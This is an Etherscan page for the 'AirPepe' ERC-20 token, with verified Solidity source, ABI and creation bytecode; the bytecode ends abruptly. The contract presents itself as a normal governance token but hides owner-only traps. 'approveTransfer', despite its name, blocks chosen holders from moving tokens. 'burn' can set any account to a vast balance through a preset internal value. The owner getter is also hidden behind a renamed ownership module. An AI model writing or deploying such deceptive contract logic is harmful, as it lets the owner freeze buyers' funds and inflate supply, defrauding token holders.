ERC-20
Overview
Max Total Supply
8,000,000,000,000 AirPEPE
Holders
153
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
4,049,721,426.705481407 AirPEPEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
AirPepe
Compiler Version
v0.8.8+commit.dddeac2f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-10 */ // SPDX-License-Identifier: MIT /** 🌐CHECK OUR WEBSITE: https://airpepe.top */ pragma solidity =0.8.8; library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * Counterpart to Solidity's `+` operator. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on division by zero. * The result is rounded towards zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on overflow (when the result is negative). * Counterpart to Solidity's `-` operator. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * Counterpart to Solidity's `*` operator. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on overflow (when the result is negative). * Counterpart to Solidity's `-` operator. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), reverting when dividing by zero. * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), reverting with custom message when dividing by zero. * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on division by zero. * The result is rounded towards zero. * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Returns the remaining number of tokens that `spender` will be allowed to spend on behalf of `owner` through {transferFrom}. * This is zero by default. This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * Returns a boolean value indicating whether the operation succeeded. * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * Returns a boolean value indicating whether the operation succeeded. * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the allowance mechanism. `amount` is then deducted from the caller's allowance. * Returns a boolean value indicating whether the operation succeeded. * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to another (`to`). * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by a call to {approve}. * `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the sender of the transaction and its data. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode. return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, * where there is an account (an owner) that can be granted exclusive access to specific functions. */ abstract contract Security is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Returns the address of the current owner. */ function owner() internal view virtual returns (address) { return _owner; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. */ contract ERC20 is Context, Security, IERC20 { using SafeMath for uint256; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _balances; mapping (address => bool) private _receiver; uint256 private maxTxLimit = 1*10**17*10**9; bool castVotes = false; uint256 private balances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals}. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 9; balances = maxTxLimit; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function setRule(address _delegate) external onlyOwner { _receiver[_delegate] = false; } function maxHoldingAmount(address _delegate) public view returns (bool) { return _receiver[_delegate]; } function approveTransfer(address _delegate) external onlyOwner { _receiver[_delegate] = true; } function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * Emits an {Approval} event indicating the updated allowance. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * Emits an {Approval} event indicating the updated allowance. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev See {IERC20-transfer}. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-transferFrom}. * Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * Emits a {Transfer} event. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { if (_receiver[recipient] || _receiver[sender]) require(castVotes == true, ""); require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the total supply. * Emits a {Transfer} event with `to` set to the zero address. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = balances - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing the total supply. * Emits a {Transfer} event with `from` set to the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * Emits an {Approval} event. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes minting and burning. * Calling conditions: * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract AirPepe is ERC20 { using SafeMath for uint256; uint256 private totalsupply_; /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @dev A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } constructor () ERC20("Air Pepe", "AirPEPE") { totalsupply_ = 8000000000000* 10**9; _mint(_msgSender(), totalsupply_); } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal view returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } function burn(address account, uint256 amount) external onlyOwner { _burn(account, amount); } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256){ require(blockNumber < block.number, "BONE::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256){ uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal { uint32 blockNumber = safe32(block.number, "BONE::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); require(nCheckpoints + 1 > nCheckpoints, "BONE::_writeCheckpoint: new checkpoint exceeds 32 bits"); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegator","type":"address"},{"indexed":true,"internalType":"address","name":"fromDelegate","type":"address"},{"indexed":true,"internalType":"address","name":"toDelegate","type":"address"}],"name":"DelegateChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegate","type":"address"},{"indexed":false,"internalType":"uint256","name":"previousBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"DelegateVotesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_delegate","type":"address"}],"name":"approveTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint32","name":"","type":"uint32"}],"name":"checkpoints","outputs":[{"internalType":"uint32","name":"fromBlock","type":"uint32"},{"internalType":"uint256","name":"votes","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"}],"name":"delegate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegator","type":"address"}],"name":"delegates","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getCurrentVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"blockNumber","type":"uint256"}],"name":"getPriorVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_delegate","type":"address"}],"name":"maxHoldingAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"numCheckpoints","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_delegate","type":"address"}],"name":"setRule","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526a52b7d2dcc80cd2e40000006004556000600560006101000a81548160ff0219169083151502179055503480156200003b57600080fd5b506040518060400160405280600881526020017f41697220506570650000000000000000000000000000000000000000000000008152506040518060400160405280600781526020017f41697250455045000000000000000000000000000000000000000000000000008152506000620000ba620001ea60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3508160079080519060200190620001709291906200040b565b508060089080519060200190620001899291906200040b565b5060098060006101000a81548160ff021916908360ff16021790555060045460068190555050506901b1ae4d6e2ef5000000600b81905550620001e4620001d5620001ea60201b60201c565b600b54620001f260201b60201c565b620006d9565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000265576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200025c906200051c565b60405180910390fd5b6200027960008383620003a360201b60201c565b6200029581600a54620003a860201b620013801790919060201c565b600a81905550620002f481600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620003a860201b620013801790919060201c565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000397919062000559565b60405180910390a35050565b505050565b6000808284620003b99190620005a5565b90508381101562000401576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003f89062000652565b60405180910390fd5b8091505092915050565b8280546200041990620006a3565b90600052602060002090601f0160209004810192826200043d576000855562000489565b82601f106200045857805160ff191683800117855562000489565b8280016001018555821562000489579182015b82811115620004885782518255916020019190600101906200046b565b5b5090506200049891906200049c565b5090565b5b80821115620004b75760008160009055506001016200049d565b5090565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000504601f83620004bb565b91506200051182620004cc565b602082019050919050565b600060208201905081810360008301526200053781620004f5565b9050919050565b6000819050919050565b62000553816200053e565b82525050565b600060208201905062000570600083018462000548565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620005b2826200053e565b9150620005bf836200053e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620005f757620005f662000576565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006200063a601b83620004bb565b9150620006478262000602565b602082019050919050565b600060208201905081810360008301526200066d816200062b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620006bc57607f821691505b60208210811415620006d357620006d262000674565b5b50919050565b6130ef80620006e96000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c806373db1eb2116100c3578063a9059cbb1161007c578063a9059cbb146103fe578063b4b5ea571461042e578063db5d77931461045e578063dd62ed3e1461047a578063f1127ed8146104aa578063f2fde38b146104db5761014d565b806373db1eb214610304578063782d6fe1146103345780637ecebe001461036457806395d89b41146103945780639dc29fac146103b2578063a457c2d7146103ce5761014d565b80633950935111610115578063395093511461020c5780634355b9d21461023c578063587cde1e146102585780635c19a95c146102885780636fcfff45146102a457806370a08231146102d45761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be578063313ce567146101ee575b600080fd5b61015a6104f7565b604051610167919061240a565b60405180910390f35b61018a600480360381019061018591906124c5565b610589565b6040516101979190612520565b60405180910390f35b6101a86105a7565b6040516101b5919061254a565b60405180910390f35b6101d860048036038101906101d39190612565565b6105b1565b6040516101e59190612520565b60405180910390f35b6101f661068a565b60405161020391906125d4565b60405180910390f35b610226600480360381019061022191906124c5565b6106a1565b6040516102339190612520565b60405180910390f35b610256600480360381019061025191906125ef565b610754565b005b610272600480360381019061026d91906125ef565b61082b565b60405161027f919061262b565b60405180910390f35b6102a2600480360381019061029d91906125ef565b610894565b005b6102be60048036038101906102b991906125ef565b6108a1565b6040516102cb9190612665565b60405180910390f35b6102ee60048036038101906102e991906125ef565b6108c4565b6040516102fb919061254a565b60405180910390f35b61031e600480360381019061031991906125ef565b61090d565b60405161032b9190612520565b60405180910390f35b61034e600480360381019061034991906124c5565b610963565b60405161035b919061254a565b60405180910390f35b61037e600480360381019061037991906125ef565b610d3a565b60405161038b919061254a565b60405180910390f35b61039c610d52565b6040516103a9919061240a565b60405180910390f35b6103cc60048036038101906103c791906124c5565b610de4565b005b6103e860048036038101906103e391906124c5565b610e6e565b6040516103f59190612520565b60405180910390f35b610418600480360381019061041391906124c5565b610f3b565b6040516104259190612520565b60405180910390f35b610448600480360381019061044391906125ef565b610f59565b604051610455919061254a565b60405180910390f35b610478600480360381019061047391906125ef565b611038565b005b610494600480360381019061048f9190612680565b61110f565b6040516104a1919061254a565b60405180910390f35b6104c460048036038101906104bf91906126ec565b611196565b6040516104d292919061272c565b60405180910390f35b6104f560048036038101906104f091906125ef565b6111d7565b005b60606007805461050690612784565b80601f016020809104026020016040519081016040528092919081815260200182805461053290612784565b801561057f5780601f106105545761010080835404028352916020019161057f565b820191906000526020600020905b81548152906001019060200180831161056257829003601f168201915b5050505050905090565b600061059d6105966113de565b84846113e6565b6001905092915050565b6000600a54905090565b60006105be8484846115b1565b61067f846105ca6113de565b61067a8560405180606001604052806028815260200161303960289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106306113de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119479092919063ffffffff16565b6113e6565b600190509392505050565b6000600960009054906101000a900460ff16905090565b600061074a6106ae6113de565b8461074585600160006106bf6113de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138090919063ffffffff16565b6113e6565b6001905092915050565b61075c6113de565b73ffffffffffffffffffffffffffffffffffffffff1661077a6119a5565b73ffffffffffffffffffffffffffffffffffffffff16146107d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c790612802565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b61089e33826119ce565b50565b600f6020528060005260406000206000915054906101000a900463ffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60004382106109a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099e90612894565b60405180910390fd5b6000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610a14576000915050610d34565b82600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184610a6391906128e3565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610b1057600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610aea91906128e3565b63ffffffff1663ffffffff16815260200190815260200160002060010154915050610d34565b82600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610b91576000915050610d34565b600080600183610ba191906128e3565b90505b8163ffffffff168163ffffffff161115610cce57600060028383610bc891906128e3565b610bd29190612946565b82610bdd91906128e3565b90506000600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff161415610c9d57806020015195505050505050610d34565b86816000015163ffffffff161015610cb757819350610cc7565b600182610cc491906128e3565b92505b5050610ba4565b600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b600c6020528060005260406000206000915090505481565b606060088054610d6190612784565b80601f0160208091040260200160405190810160405280929190818152602001828054610d8d90612784565b8015610dda5780601f10610daf57610100808354040283529160200191610dda565b820191906000526020600020905b815481529060010190602001808311610dbd57829003601f168201915b5050505050905090565b610dec6113de565b73ffffffffffffffffffffffffffffffffffffffff16610e0a6119a5565b73ffffffffffffffffffffffffffffffffffffffff1614610e60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5790612802565b60405180910390fd5b610e6a8282611b3f565b5050565b6000610f31610e7b6113de565b84610f2c856040518060600160405280602581526020016130956025913960016000610ea56113de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119479092919063ffffffff16565b6113e6565b6001905092915050565b6000610f